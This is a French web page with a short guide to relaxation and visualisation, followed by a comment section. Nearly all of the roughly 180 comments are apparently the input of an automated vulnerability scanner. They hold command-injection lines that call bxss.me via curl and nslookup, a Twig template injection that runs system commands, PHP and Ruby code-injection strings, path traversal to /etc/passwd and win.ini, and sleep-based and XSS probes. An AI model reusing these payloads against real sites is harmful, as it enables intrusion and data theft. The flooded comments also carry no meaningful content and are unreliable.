Se détendre :

La détente est indispensable pour se ressourcer, pour se défaire des crispations musculaires et oublier nos soucis.

Comment se détendre :

Plusieurs méthodes de relaxation sont pratiqués, comme la sophrologie, la pensée positive, et d'autres plus codifiée, voici ici une des méthodes :

Trouvez un endroit pour vous allonger ou personne ne peux vous déranger.

Allongez-vous, éteignez la lumière, mettez vous dans l'obscurité, diffusez une musique légère et apaisante, mettez des bouchons d'oreilles si le bruit vous dérange.

Une fois installé, respirez amplement, calmement, profondément et concentrez-vous sur votre souffle jusqu'à ce que vous vous sentier intérieurement calme.

Portez votre attention sur une zone du corps que vous sentez nouée, accentuez la contraction à l'endroit choisie, durcissez les muscles aussi fort que vous le pouvez , puis relâchez-les.

Quand votre corps est bien détendu, imaginez un paysage serein dans lequel vous vous promenez, ressentez votre imagination, vivez la, sentez le sable sous vos pieds, écoutez le bruit des vagues, et sentez l'odeur des fleurs....

En sortant de cette balade, vous vous sentirez reposé, détendu et rechargé....

page créée le 22/07/2011
par Alexandra De Dyn

183 Commentaires.

Tony Debbache - Mr.9262194 - 09/10/2025 14:29

555

Tony Debbache - '"()&%Bob6(9337) - 09/10/2025 14:29

555

Tony Debbache - {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitzqpjxqnvit2ef9f.bxss.me")}} - 09/10/2025 14:28

555

Tony Debbache - Mr.'"()&%Bob6(9818) - 09/10/2025 14:28

555

Tony Debbache - &(nslookup${IFS}-q${IFS}cname${IFS}hitbgfwojzstcd257d.bxss.me||curl${IFS}hitbgfwojzstcd257d.bxss.me)&'\"'0&(nslookup${IFS}-q${IFS}cna - 09/10/2025 14:27

555

Tony Debbache - |(nslookup${IFS}-q${IFS}cname${IFS}hitsifmdvcpsh66d63.bxss.me||curl${IFS}hitsifmdvcpsh66d63.bxss.me) - 09/10/2025 14:27

555

Tony Debbache - ;(nslookup -q=cname hitaiprfaovnhbc3a4.bxss.me||curl hitaiprfaovnhbc3a4.bxss.me)|(nslookup -q=cname hitaiprfaovnhbc3a4.bxss.me||curl hitaiprfaovnhbc3a - 09/10/2025 14:27

555

Tony Debbache - '(nslookup -q=cname hittczcfoavkfcc671.bxss.me||curl hittczcfoavkfcc671.bxss.me)' - 09/10/2025 14:26

555

Tony Debbache - |(nslookup -q=cname hitydjbhoqybx288a9.bxss.me||curl hitydjbhoqybx288a9.bxss.me) - 09/10/2025 14:26

555

Tony Debbache - &(nslookup -q=cname hittgopfzodta27fa3.bxss.me||curl hittgopfzodta27fa3.bxss.me)&'\"'0&(nslookup -q=cname hittgopfzodta27fa3.bxss.me| - 09/10/2025 14:26

555

Tony Debbache - &nslookup -q=cname hitngoqkahxyvad688.bxss.me&'\"'0&nslookup -q=cname hitngoqkahxyvad688.bxss.me&'' - 09/10/2025 14:26

555

Tony Debbache - '.print(md5(31337)).' - 09/10/2025 14:26

555

Tony Debbache - ${@print(md5(31337))}\ - 09/10/2025 14:26

555

Tony Debbache - $(nslookup -q=cname hitdtjggtqlpve2b40.bxss.me||curl hitdtjggtqlpve2b40.bxss.me) - 09/10/2025 14:26

555

Tony Debbache - ${@print(md5(31337))} - 09/10/2025 14:25

555

Tony Debbache - http://bxss.me/t/fit.txt?. - 09/10/2025 14:25

555

Tony Debbache - Http://bxss.me/t/fit.txt - 09/10/2025 14:25

555

Tony Debbache - ";print(md5(31337));$a=" - 09/10/2025 14:25

555

Tony Debbache - (nslookup -q=cname hitkdyywiceqh3c5fa.bxss.me||curl hitkdyywiceqh3c5fa.bxss.me)) - 09/10/2025 14:25

555

Tony Debbache - bxss.me - 09/10/2025 14:25

555

Tony Debbache - ';print(md5(31337));$a=' - 09/10/2025 14:25

555

Tony Debbache - expr 9000617315 - 949194 - 09/10/2025 14:25

555

Tony Debbache - Mr. - 09/10/2025 14:25

555

Tony Debbache - c:/windows/win.ini - 09/10/2025 14:25

555

Tony Debbache - Mr.|echo kmwpyk$()\ yoiyyk\nz^xyu||a #' |echo kmwpyk$()\ yoiyyk\nz^xyu||a #|" |echo kmwpyk$()\ yoiyyk\nz^xyu||a # - 09/10/2025 14:25

555

Tony Debbache - ../../../../../../../../../../../../../../etc/shells - 09/10/2025 14:25

555

Tony Debbache - |echo xvjufb$()\ inknsf\nz^xyu||a #' |echo xvjufb$()\ inknsf\nz^xyu||a #|" |echo xvjufb$()\ inknsf\nz^xyu||a # - 09/10/2025 14:25

555

Tony Debbache - /etc/shells - 09/10/2025 14:25

555

Tony Debbache - Mr.&echo ljjuks$()\ pxhivx\nz^xyu||a #' &echo ljjuks$()\ pxhivx\nz^xyu||a #|" &echo ljjuks$()\ pxhivx\nz^xyu||a # - 09/10/2025 14:25

555

Tony Debbache - &echo dshwvi$()\ vcgkrd\nz^xyu||a #' &echo dshwvi$()\ vcgkrd\nz^xyu||a #|" &echo dshwvi$()\ vcgkrd\nz^xyu||a # - 09/10/2025 14:25

555

Tony Debbache - 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs. - 09/10/2025 14:25

555

Tony Debbache - ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); - 09/10/2025 14:25

555

Tony Debbache - http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?. - 09/10/2025 14:24

555

Tony Debbache - echo hzuikk$()\ fblygk\nz^xyu||a #' &echo hzuikk$()\ fblygk\nz^xyu||a #|" &echo hzuikk$()\ fblygk\nz^xyu||a # - 09/10/2025 14:24

555

Tony Debbache - Mr. - 09/10/2025 14:24

555

Tony Debbache - 'A'.concat(70-3).concat(22*4).concat(108).concat(81).concat(116).concat(72)+(require'socket' Socket.gethostbyname('hitdy'+'jdnnipqc68769.bxss.me.')[3] - 09/10/2025 14:24

555

Tony Debbache - '+'A'.concat(70-3).concat(22*4).concat(115).concat(81).concat(107).concat(75)+(require'socket' Socket.gethostbyname('hitqx'+'ousgusiv50ff7.bxss.me.')[ - 09/10/2025 14:24

555

Tony Debbache - gethostbyname(lc('hitis'.'jqllwxbc095c8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(71).chr(102).chr(74) - 09/10/2025 14:24

555

Tony Debbache - "+"A".concat(70-3).concat(22*4).concat(101).concat(77).concat(121).concat(70)+(require"socket" Socket.gethostbyname("hit - 09/10/2025 14:24

555

Tony Debbache - Mr. - 09/10/2025 14:24

5559902291

Tony Debbache - Mr. - 09/10/2025 14:24

555

Tony Debbache - ".gethostbyname(lc("hitvv"."xhctfuqjbb708.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(81).chr(102 - 09/10/2025 14:24

555

Tony Debbache - Mr. - 09/10/2025 14:24

555

Tony Debbache - Mr. - 09/10/2025 14:23

'"()&%Bob6(9246)

Tony Debbache - '.gethostbyname(lc('hittj'.'yqyxkjhy1ab89.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(90).chr(100).chr(89).' - 09/10/2025 14:23

555

Tony Debbache - Mr. - 09/10/2025 14:23

'.print(md5(31337)).'

Tony Debbache - 09/10/2025 14:23

555

Tony Debbache - Mr. - 09/10/2025 14:23

555

Tony Debbache - Mr. - 09/10/2025 14:23

Tony Debbache - '" - 09/10/2025 14:23

555

Tony Debbache - bxss.me/t/xss.html?%00 - 09/10/2025 14:23

555

Tony Debbache - Mr. - 09/10/2025 14:23

555

Tony Debbache - Mr. - 09/10/2025 14:23

${@print(md5(31337))}

Tony Debbache - Mr. - 09/10/2025 14:23

'A'.concat(70-3).concat(22*4).concat(97).concat(77).concat(103).concat(86)+(require'socket'
Socket.gethostbyname('hitdi'+'xxejxmgb3ad90.bxss.me.')[3].to_s)

Tony Debbache - HttP://bxss.me/t/xss.html?%00 - 09/10/2025 14:23

555

Tony Debbache - Mr. - 09/10/2025 14:23

555

Tony Debbache - Mr. - 09/10/2025 14:23

${@print(md5(31337))}

Tony Debbache - Mr. - 09/10/2025 14:23

";print(md5(31337));$a="

Tony Debbache - Mr. - 09/10/2025 14:23

555'"()&%Bob6(9726)

Tony Debbache - Mr. - 09/10/2025 14:23

555

Tony Debbache - Mr. - 09/10/2025 14:22

';print(md5(31337));$a='

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

'+'A'.concat(70-3).concat(22*4).concat(105).concat(71).concat(116).concat(88)+(require'socket'
Socket.gethostbyname('hituo'+'fzcniyrt7b318.bxss.me.')[3].to_s)+'

Tony Debbache - Mr. - 09/10/2025 14:22

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

"+"A".concat(70-3).concat(22*4).concat(97).concat(81).concat(107).concat(82)+(require"socket"
Socket.gethostbyname("hitod"+"nzphhmcq0e90c.bxss.me.")[3].to_s)+"

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr."||sleep(27*1000)*uejbtk||" - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

bxss.me/t/xss.html?%00

Tony Debbache - Mr. - 09/10/2025 14:22

gethostbyname(lc('hitgk'.'xlcfyubke9b32.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(65).chr(119).chr(83)

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr.'||sleep(27*1000)*nosnmz||' - 09/10/2025 14:22

555

Tony Debbache - Mr.'&&sleep(27*1000)*biwqnl&&' - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

".gethostbyname(lc("hitdr"."stgsjtyb1f23d.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(86).chr(98).chr(83)."

Tony Debbache - Mr. - 09/10/2025 14:22

HttP://bxss.me/t/xss.html?%00

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr."&&sleep(27*1000)*iqyere&&" - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - https://chaineo.fr/ - 09/10/2025 14:22

555

Tony Debbache - '"() - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

'.gethostbyname(lc('hitmo'.'rrflfise9857b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(70).chr(108).chr(90).'

Tony Debbache - redirtest.acx - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:22

555

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

http://bxss.me/t/fit.txt?.jpg

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

Http://bxss.me/t/fit.txt

Tony Debbache - ^(#$!@#$)(()))****** - 09/10/2025 14:21

555

Tony Debbache - !(()&&!|*|*| - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

https://chaineo.fr/

Tony Debbache - Mr. - 09/10/2025 14:21

bxss.me

Tony Debbache - ) - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

c:/windows/win.ini

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

redirtest.acx

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - ../Mr. - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

../../../../../../../../../../../../../../etc/shells

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - file:///etc/passwd - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

555"||sleep(27*1000)*hijjun||"

Tony Debbache - Mr. - 09/10/2025 14:21

/etc/shells

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - ../../../../../../../../../../../../../../windows/win.ini - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

555'||sleep(27*1000)*reotrz||'

Tony Debbache - Mr. - 09/10/2025 14:21

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

Tony Debbache - Mr. - 09/10/2025 14:21

555"&&sleep(27*1000)*brxumd&&"

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

Tony Debbache - ../../../../../../../../../../../../../../etc/passwd - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

555'&&sleep(27*1000)*shavbl&&'

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

&(nslookup${IFS}-q${IFS}cname${IFS}hitdbmrgwjwyp47d6a.bxss.me||curl${IFS}hitdbmrgwjwyp47d6a.bxss.me)&'"'0&(nslookup${IFS}-q${IFS}cname${IFS}hitdbmrgwjwyp47d6a.bxss.me||curl${IFS}hitdbmrgwjwyp47d6a.bxss.me)&''

Tony Debbache - Mr. - 09/10/2025 14:21

'"()

Tony Debbache - Mr. - 09/10/2025 14:21

|(nslookup${IFS}-q${IFS}cname${IFS}hitarjqqqnaid399fa.bxss.me||curl${IFS}hitarjqqqnaid399fa.bxss.me)

Tony Debbache - Mr. - 09/10/2025 14:21

555

Tony Debbache - Mr. - 09/10/2025 14:21

^(#$!@#$)(()))******

Tony Debbache - Mr. - 09/10/2025 14:20

!(()&&!|*|*|

Tony Debbache - Mr. - 09/10/2025 14:20

;(nslookup -q=cname hitwynadfjcnzb75bc.bxss.me||curl hitwynadfjcnzb75bc.bxss.me)|(nslookup -q=cname hitwynadfjcnzb75bc.bxss.me||curl hitwynadfjcnzb75bc.bxss.me)&(nslookup -q=cname hitwynadfjcnzb75bc.bxss.me||curl hitwynadfjcnzb75bc.bxss.me)

Tony Debbache - Mr. - 09/10/2025 14:20

'(nslookup -q=cname hitucwzxunvtef714b.bxss.me||curl hitucwzxunvtef714b.bxss.me)'

Tony Debbache - Mr. - 09/10/2025 14:20

|(nslookup -q=cname hitvidtnzhvyc9c86c.bxss.me||curl hitvidtnzhvyc9c86c.bxss.me)

Tony Debbache - Mr. - 09/10/2025 14:20

555

Tony Debbache - Mr. - 09/10/2025 14:20

&(nslookup -q=cname hituqjlzvcfnwe27f4.bxss.me||curl hituqjlzvcfnwe27f4.bxss.me)&'"'0&(nslookup -q=cname hituqjlzvcfnwe27f4.bxss.me||curl hituqjlzvcfnwe27f4.bxss.me)&''

Tony Debbache - Mr. - 09/10/2025 14:20

)

Tony Debbache - Mr. - 09/10/2025 14:20

555

Tony Debbache - Mr. - 09/10/2025 14:20

&nslookup -q=cname hitezvtqsaogz2db90.bxss.me&'"'0&nslookup -q=cname hitezvtqsaogz2db90.bxss.me&''

Tony Debbache - Mr. - 09/10/2025 14:20

$(nslookup -q=cname hitxthlmsvxtpc6500.bxss.me||curl hitxthlmsvxtpc6500.bxss.me)

Tony Debbache - Mr. - 09/10/2025 14:19

555

Tony Debbache - Mr. - 09/10/2025 14:19

(nslookup -q=cname hitvfsbajppky02231.bxss.me||curl hitvfsbajppky02231.bxss.me))

Tony Debbache - 09/10/2025 14:19

555

Tony Debbache - Mr. - 09/10/2025 14:19

555

Tony Debbache - Mr. - 09/10/2025 14:19

555

Tony Debbache - ${9999219+10000053} - 09/10/2025 14:19

555

Tony Debbache - 12345'"\'\");|]*{ ?''? - 09/10/2025 14:19

555

Tony Debbache - Mr. - 09/10/2025 14:19

expr 9000632091 - 924660

Tony Debbache - Mr. - 09/10/2025 14:19

555

Tony Debbache - Mr. - 09/10/2025 14:19

../555

Tony Debbache - 09/10/2025 14:19

555

Tony Debbache - Mr. - 09/10/2025 14:19

555|echo wfcnlw$() mrptivnz^xyu||a #' |echo wfcnlw$() mrptivnz^xyu||a #|" |echo wfcnlw$() mrptivnz^xyu||a #

Tony Debbache - Mr. - 09/10/2025 14:19

555

Tony Debbache - Mr. - 09/10/2025 14:19

|echo foxknp$() qoognjnz^xyu||a #' |echo foxknp$() qoognjnz^xyu||a #|" |echo foxknp$() qoognjnz^xyu||a #

Tony Debbache - Mr. - 09/10/2025 14:19

file:///etc/passwd

Tony Debbache - Mr. - 09/10/2025 14:19

555

Tony Debbache - Mr. - 09/10/2025 14:19

555&echo qafjcz$() rjkqzlnz^xyu||a #' &echo qafjcz$() rjkqzlnz^xyu||a #|" &echo qafjcz$() rjkqzlnz^xyu||a #

Tony Debbache - Mr. - 09/10/2025 14:19

../../../../../../../../../../../../../../windows/win.ini

Tony Debbache - Mr. - 09/10/2025 14:19

${10000181+9999295}

Tony Debbache - Mr. - 09/10/2025 14:18

../../../../../../../../../../../../../../etc/passwd

Tony Debbache - Mr. - 09/10/2025 14:18

555

Tony Debbache - Mr. - 09/10/2025 14:18

&echo lxmdvq$() fvkdganz^xyu||a #' &echo lxmdvq$() fvkdganz^xyu||a #|" &echo lxmdvq$() fvkdganz^xyu||a #

Tony Debbache - Mr. - 09/10/2025 14:18

echo qgdded$() erjaeinz^xyu||a #' &echo qgdded$() erjaeinz^xyu||a #|" &echo qgdded$() erjaeinz^xyu||a #

Tony Debbache - Mr. - 09/10/2025 14:18

555

Tony Debbache - Mr. - 09/10/2025 14:18

555

Tony Debbache - Mr. - 09/10/2025 14:18

555

Tony Debbache - Mr. - 09/10/2025 14:18

555

Tony Debbache - Mr. - 09/10/2025 14:18

12345'"'");|]*{
?''?

Tony Debbache - Mr. - 09/10/2025 14:18

555

Tony Debbache - "+response.write(9533562*9186673)+" - 09/10/2025 14:18

555

Tony Debbache - '+response.write(9533562*9186673)+' - 09/10/2025 14:18

555

Tony Debbache - response.write(9533562*9186673) - 09/10/2025 14:17

555

Tony Debbache - Mr. - 09/10/2025 14:16

555

Tony Debbache - Mr. - 09/10/2025 14:16

555

Tony Debbache - Mr. - 09/10/2025 14:16

555

Tony Debbache - Mr. - 09/10/2025 14:16

"+response.write(9555629*9669622)+"

Tony Debbache - 16AI8HVIC0 - 09/10/2025 14:16

555

Tony Debbache - Mr. - 09/10/2025 14:15

'+response.write(9555629*9669622)+'

Tony Debbache - Mr. - 09/10/2025 14:15

response.write(9555629*9669622)

Tony Debbache - Mr. - 09/10/2025 14:15

555

Tony Debbache - Mr. - 09/10/2025 14:15

1Z3SVMGAB0

Tony Debbache - Mr. - 09/10/2025 13:31

555

Laisser un commentaire sur Se détendre.

Commentez pour enrichir, Respectez vos interlocuteurs, pas de promotion, ni d'url et pas de langage offensif ou diffamatoire. Merci !

Inscrivez vous sur Chaineo pour en savoir plus: